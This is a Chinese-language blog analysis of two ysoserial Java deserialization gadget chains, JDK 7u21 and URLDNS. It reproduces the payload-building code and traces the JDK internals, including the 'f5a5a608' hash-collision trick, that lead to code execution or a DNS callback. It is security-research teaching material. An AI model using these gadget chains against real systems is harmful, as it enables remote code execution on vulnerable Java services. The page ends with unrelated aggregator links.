ysoserial分析【二】7u21和URLDNS
7u21
7u21中利用了TemplatesImpl来执行命令,结合动态代理、AnnotationInvocationHandler、HashSet都成了gadget链。
先看一下调用栈,把ysoserial中的调用栈简化了一下
LinkedHashSet.readObject()
LinkedHashSet.add()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
对_bytecodes属性的值(实例的字节码)进行实例化
RCE
其中关于TemplatsImpl
类如何执行恶意代码的知识可以参考另一篇文章中对CommonsCollections2的分析,这里不再赘述。只要知道这里调用TemplatesImpl.getOutputProperties()
可以执行恶意代码即可。
看一下ysoserial的poc
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//返回构造好的TemplatesImpl实例,实例的_bytecodes属性的值是执行恶意语句类的字节码
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作为构造方法的第二个参数,map赋值给AnnotationInvocationHandler.membervalues属性
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//为AIH创建代理
LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父类是HashSet
set.add(templates);//TemplatesImpl实例
set.add(proxy);//AnnotationInvocationHandler实例的代理,AnnotationInvocationHandler的membervalues是TemplatesImple实例
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); //绑定到AnnotationInvocationHandler的那个map中的再添加一组键值对,value是TemplatesImpl实例。但是由于map中的第一组键值对的键也是zeroHashCodeStr,因此这里就是相当于把第一个键值对的value重新复赋值了。
return set;//返回LinkedHashSet实例,用于序列化
}
总体来说就是返回一个LinkedHashSet
实例,其中有两个元素,第一个元素是_bytecodes
属性是恶意类字节码的TemplatesImpl实例。
第二个元素是AnnotationInvocationHandler的代理实例,这个AnnotationInvocationHandler实例在初始化时将一个HashMap实例传入,HashMap的第一个元素的key是TemplatesImpl实例。
看一下AnnotationInvocationHandler的构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
也就是把这个HashMap实例赋值给了memberValues
属性。
至此poc分析完毕,下面调试一下反序列化触发gadget链的流程。有感到模糊的地方可以参考以上的分析。
gadget链分析
首先由于poc return了LinkedHashSet
实例用于序列化,因此这就是反序列化的入口。由于LinkedHashSet
没有实现readObject()
方法,因此跟进其父类:HashSet.readObject
。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));//创建一个新map
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);//将反序列化出来的元素put到map中
}
}
我们主要关注其对元素的操作。可以看到最后的一个for循环,变量e就是每个元素反序列化之后的实例。由于在构建poc时,LinkedHashSet被我们添加了两个元素,因此这里会进行两次for循环,第一次e是TemplatsImpl实例,第二次是Proxy实例
这里把两个元素反序列化之后会作为第一个参数调用map.put(),跟进一下这个方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
我们主要关注这里对第一个参数key
的操作,因为我们的payload就在TemplatsImple和Proxy实例中,因此只有对key
做某些操作才可能会触发我们的payload。
可以看到首先调用了hash(key)
,跟进一下HashMap.hash()
final int hash(Object k) {
...
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
可以发现,这里调用了key的hashCode()方法。我们挨个看看两个key:TemplatesImpl和Proxy是如何调用hashCode()的。
由于TemplatesImpl并没有实现hashCode()方法,因此直接调用了基类Object.hashCode()。
public native int hashCode();
这是个native方法,也就是java调用非java代码编写的接口,这个hashCode()大概是通过计算对象的内存地址得到的。下面再看Proxy.hashCode(),由于动态代理的特性,调用Proxy的所有方法都会转而调用绑定在Proxy上的InvocationHandler
的Invoke()方法。回顾最上面创建Proxy时,我们绑定的InvocationHandler
是AnnotationInvocationHandler实例,因此这里会转而调用AnnotationInvocationHandler.invoke()
,跟进之后发现,最底层调用了AnnotationInvocationHandler.hashCodeImple()
方法
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这里看的会比较绕,其实就是通过遍历this.memberValues.entrySet()
中的所有键值对,来计算其中的key和value的hash,全部加起来之后返回最后的hash值。这里的this.memberValues
属性就是我们在构建poc时传入的那个HashMap实例。
Proxy.hashCode()跟完了,没有什么危险操作。因此回到最开始的HashMap.put()中。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
int hash = hash(key)
这一步已经跟踪完了,继续往下看。可以看到for循环的条件是table[i] != null
,这里的table在最后调用的addEntry()中进行了赋值,跟进一下
void addEntry(int hash, K key, V value, int bucketIndex) {
if ((size >= threshold) && (null != table[bucketIndex])) {
resize(2 * table.length);
hash = (null != key) ? hash(key) : 0;
bucketIndex = indexFor(hash, table.length);
}
createEntry(hash, key, value, bucketIndex);
}
void createEntry(int hash, K key, V value, int bucketIndex) {
Entry<K,V> e = table[bucketIndex];
table[bucketIndex] = new Entry<>(hash, key, value, e);
size++;
}
可以发现,这里利用key、value和hash创建了一个Entry实例,然后添加到了table数组中。回到上面的put()方法,由于for循环处的table中没有数据,因此调用完addEntry()就直接return了。
接下来是第二次进入put()方法,这一次传入的k参数是Proxy实例。int hash = hash(key);
我们已经跟进过了,仅需往下看,到了for循环。由于在上一次table中已经有了数据,因此这里会进入。然后就到了if条件
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
这里的变量e就是在上次添加到table数组中的那个Entry对象。e.hash
就是初始化时传入的hash的值,同理e.key
也是初始化时传入的key。如果这里满足e.hash == hash
且e.key != key
时,就会调用key.equals(e.key)
。
这些条件后面会回过头来说,先假设这些条件都可以满足。就会导致调用key.equals(e.key)
,这里的key
是Proxy
,而e.key
是上一次的TemplatesImpl
实例。又由于调用了Proxy的方法,自动跳转到AnnotationInvocationHandler.invoke()
。跟进一下
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
...
}
}
var1是代理类实例,var2是调用的方法,就是equals
的Method对象,var3是调用的参数,也就是TemplatesImpl
实例。注意上面的第一个if条件,equals
方法的参数是Object
类型,因此总体判定条件为True,从而以var3[0]
为参数,调用this.equalsImpl()
,跟进
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
这里的var1就是TemplatesImpl
实例,而this.type
在创建poc时就已经定义了
Reflections.setFieldValue(tempHandler, "type", Templates.class);
TemplatesImpl
的正是实现了Templates
接口,因此if条件中的this.type.isInstance(var1)
是True,非True就是False,因此进入Else语句。首先调用了this.getMemberMethods()
,跟进一下
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射获取this.type类/接口中声明的所有方法
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
由于this.type是Templates
接口,因此看一下这个接口声明了哪些方法。
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
只声明了两个方法:newTransformer()和getOutputProperties()。
回到equalsImpl()
,获取了this.type中声明的方法之后返回给变量var2。然后进入一个for循环,对这些方法进行遍历。先把方法名赋值给var6,跟进this.asOneOfUs()
private AnnotationInvocationHandler asOneOfUs(Object var1) {
if (Proxy.isProxyClass(var1.getClass())) {
...
}
return null;
}
由于var1是TemplatesImpl
实例,并不是Proxy,因此直接return null。回到上面,由于var9是null,因此进入else语句
var8 = var5.invoke(var1);
var5是上面返回的两个方法的其中一个,也就是newTransformer()和getOutputProperties(),var1是TemplatesImpl
实例。这里通过反射调用TemplatesImpl
的var5方法。
本文一开始就说了,调用TemplatesImpl.getOutputProperties()
会导致TemplatesImpl._bytecodes
的值(含有执行恶意代码的类的字节码)进行实例化,因此这里就是漏洞的触发点了。
hashCode绕过
至此漏洞已经成功触发,回到之前还有一个没有完成的点,也就是HashMap.put()方法中的那个if条件。
public V put(K key, V value) {
...
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
}
也就是这里的e.hash == hash
和e.key != key
。由于key是Proxy实例,e.key是TemplatesImpl实例,因此第二个条件好满足,注意是第一个条件,如何保证两者的hash相同?
e.hash是由TemplatesImpl.hashCode()
,由于TemplatesImpl没有定义这个方法,因此调用的是Object的方法,而正如之前说的,Object.hashCode()
是通过对象的内存地址来计算hash的。
hash变量是Proxy.hashCode()返回的,也就是之前分析的AnnotationInvocationHandler.hashCodeImple()
,回顾一下
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这里的this.memberValues
属性就是我们在构建poc时传入的那个HashMap实例,也就是(new HashMap()).put("f5a5a608", templates)
,templates是TemplatesImpl实例。上面的hashCodeImple()主要是这句:
private int hashCodeImpl() {
...
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
...
return var1;
}
而key是"f5a5a608",value是TempIatesImpl实例,因此等价于
127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)
跟进一下memberValueHashCode
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
...
由于参数是TemplatesImpl对象,因此直接返回了TemplatesImpl.hashCode()
,前面已经说了,其TemplatesImpl并没有重写hashCode,因此调用Object.hashCode()根据对象的内存地址生成了hash。至此两个hash的值已经计算完了。
第一个hash:
TemplatesImpl实例.hashCode()
第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()
这两个TemplatesImpl实例的内存地址实际上是一样的,因为在构建poc时,用的就是同一个TemplatesImpl实例:
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl实例
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
...
LinkedHashSet set = new LinkedHashSet();
set.add(templates);//插入TemplatesImpl实例
set.add(proxy);//Proxy代理
...
map.put(zeroHashCodeStr, templates);//插入TemplatesImpl实例
return set;
}
由于是同一个实例,因此内存地址相同,因此Object.hashCode()
返回的hash也是相同的。回看一下两个hash
第一个hash:
TemplatesImpl实例.hashCode()
第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()
我们只需要计算一下"f5a5a608".hashCode()
,这也是一个比较有意思的点,直接放到Debug中计算一下
结果是0!这个值好像是一哥们通过一个while循环遍历出来的。因此上面的第二个hash由于是127 * 0,因此也是0,从而两个hash变成了:
第一个hash:
TemplatesImpl实例.hashCode()
第二个hash
0 ^ TemplatesImpl实例.hashCode()
^是异或运算符,异或的规则是转换成二进制比较,相同为0,不同为1。由于是按二进制的位进行比较,0只有一位,也就是说如果一个数的最低位与0相同,那一位则为0,否则则为1,这个结果正好与条件一样,只有最低位是0时才会与0相同,从而返回0。如果最低位是1,与0不同,则返回1,也就是啥都没变呗。所以说任何数与0异或,结果都还是原来的值,因此上面这两个hash相等了。
至此几个条件全部满足,通过后面的key.equals(k)
造成了代码执行。
因此整个的数据流大概是
HashSet.readObject()
HashMap.put()
TemplatesImpl.hashCode()
HashMap.put()
Proxy.hashCode()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.hashCodeImpl()
Proxy.equals()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
对_bytecodes属性的值(实例的字节码)进行实例化
RCE
参考
JDK7u21反序列化漏洞分析
ysoserial payload分析
URLDNS
这个gadget会在反序列化时发送一个DNS请求,仅依赖于JDK,因此适用范围很广,应该是只要有反序列化入口就能用这个gadget打。
先看一下调用栈
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
这里就涉及到了URL类,这个类的hashCode()
方法底层会调用URLStreamHandler.hashCode()
发送一个DNS请求。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
在反序列化时,HashMap会自动对键计算hash,其中就调用了键的hashCode()方法,因此我们可以利用HashMap来触发URL.hashCode()
:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
...
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
根据以上描述大概可以写出这样的poc
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
return ht;
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
这里的SilentURLStreamHandler
类重写了URLStreamHandler.getHostAddress()
,这样可以保证在编译gadget时不会发送DNS请求。
然后我们把上面poc返回的类进行序列化,在反序列化并没有发送DNS请求。调试之后才发现,在反序列化调用URL.hashCode()
由于已经存在hashCode
且值不为-1,从而直接return掉了。
因此我们需要保证URL.hashCode
的值为null或-1。我们可以在序列化时利用反射来修改URL的属性,如下
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
调用链如下
HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
ysoserial分析【二】7u21和URLDNS的更多相关文章
- SNMP报文抓取与分析(二)
SNMP报文抓取与分析(二) SNMP报文抓取与分析(二) 1.SNMP报文表示简介 基本编码规则BER 标识域Tag表示 长度域length表示 2.SNMP报文详细分析(以一个get-respon ...
- Fresco 源码分析(二) Fresco客户端与服务端交互(1) 解决遗留的Q1问题
4.2 Fresco客户端与服务端的交互(一) 解决Q1问题 从这篇博客开始,我们开始讨论客户端与服务端是如何交互的,这个交互的入口,我们从Q1问题入手(博客按照这样的问题入手,是因为当时我也是从这里 ...
- yhd日志分析(二)
yhd日志分析(二) 继续yhd日志分析,统计数据 日期 uv pv 登录人数 游客人数 平均访问时长 二跳率 独立ip数 1 分析 登录人数 count(distinct endUserId) 游客 ...
- SQLite入门与分析(二)---设计与概念(续)
SQLite入门与分析(二)---设计与概念(续) 写在前面:本节讨论事务,事务是DBMS最核心的技术之一.在计算机科学史上,有三位科学家因在数据库领域的成就而获ACM图灵奖,而其中之一Jim G ...
- Linux内核启动代码分析二之开发板相关驱动程序加载分析
Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c start_ke ...
- 一些有用的javascript实例分析(二)
原文:一些有用的javascript实例分析(二) 5 求出数组中所有数字的和 window.onload = function () { var oBtn = document.getElement ...
- Android4.0图库Gallery2代码分析(二) 数据管理和数据加载
Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Androi ...
- MapReduce深度分析(二)
MapReduce深度分析(二) 五.JobTracker分析 JobTracker是hadoop的重要的后台守护进程之一,主要的功能是管理任务调度.管理TaskTracker.监控作业执行.运行作业 ...
- Java线程池使用和分析(二) - execute()原理
相关文章目录: Java线程池使用和分析(一) Java线程池使用和分析(二) - execute()原理 execute()是 java.util.concurrent.Executor接口中唯一的 ...
- Java线程池ThreadPoolExecutor使用和分析(二) - execute()原理
相关文章目录: Java线程池ThreadPoolExecutor使用和分析(一) Java线程池ThreadPoolExecutor使用和分析(二) - execute()原理 Java线程池Thr ...
随机推荐
- 美团新零售招聘-高级测试开发(20k-50k/月)
内推邮箱:liuxinguang@meituan.com 地点:北京 职位级别:p2-2以上级别 15.5薪
- 微软亚洲研究院研究员获选IEEE Fellow 和ACM Distinguished Member
年末将至,微软亚洲研究院喜讯连连.近日,IEEE(国际电气电子工程师学会)和ACM(美国计算机协会)先后公布了2017年度的院士名单(IEEE Fellow)和2016年度杰出会员名单(ACM D ...
- 线上SpringCloud网关调用微服务跨机房了,咋整?
1.前言 公司内考虑到服务器资源成本的问题,目前业务上还在进行服务的容器化改造和迁移,计划将容器化后的服务,以及一些中间件(MQ.DB.ES.Redis等)尽量都迁移到其他机房. 那你们为什么不用阿里 ...
- #2020.1.26笔记——springdatajpa
2020.1.26笔记--springdatajpa 使用jpa的步骤: 1. 导入maven坐标 <?xml version="1.0" encoding="UT ...
- LeetCode--链表2-双指针问题
LeetCode--链表2-双指针问题 思考问题: 判断一个链表是否有环 列举几种情况: graph LR A-->B B-->C C-->D D-->E E-->C g ...
- HttpClientFactory的套路,你知多少?
背景 ASP.NET Core 在 2.1 之后推出了具有弹性 HTTP 请求能力的 HttpClient 工厂类 HttpClientFactory. 替换的初衷还是简单摆一下: ① using(v ...
- node--fs
1.fs模块内置方法 1)stat 检测是文件还是目录 fs.stat(fileAddress,(err,stats)=>{ //err 出错信息 //stats.isFile() 该东西是文件 ...
- vue組件自学
Vue组件 什么是组件? 组件 (Component) 是 Vue.js 最强大的功能之一.组件可以扩展 HTML 元素,封装可重用的代码.在较高层面上,组件是自定义元素,Vue.js 的编译器为它添 ...
- Python 第一天学习记录
- webpack压缩图片之项目资源优化
webpack打包时,会根据webpack.config.js 中url-loader中设置的limit大小来对图片进行处理,小于limit的图片转化成base64格式,其余的不做操作.对于比较大的图 ...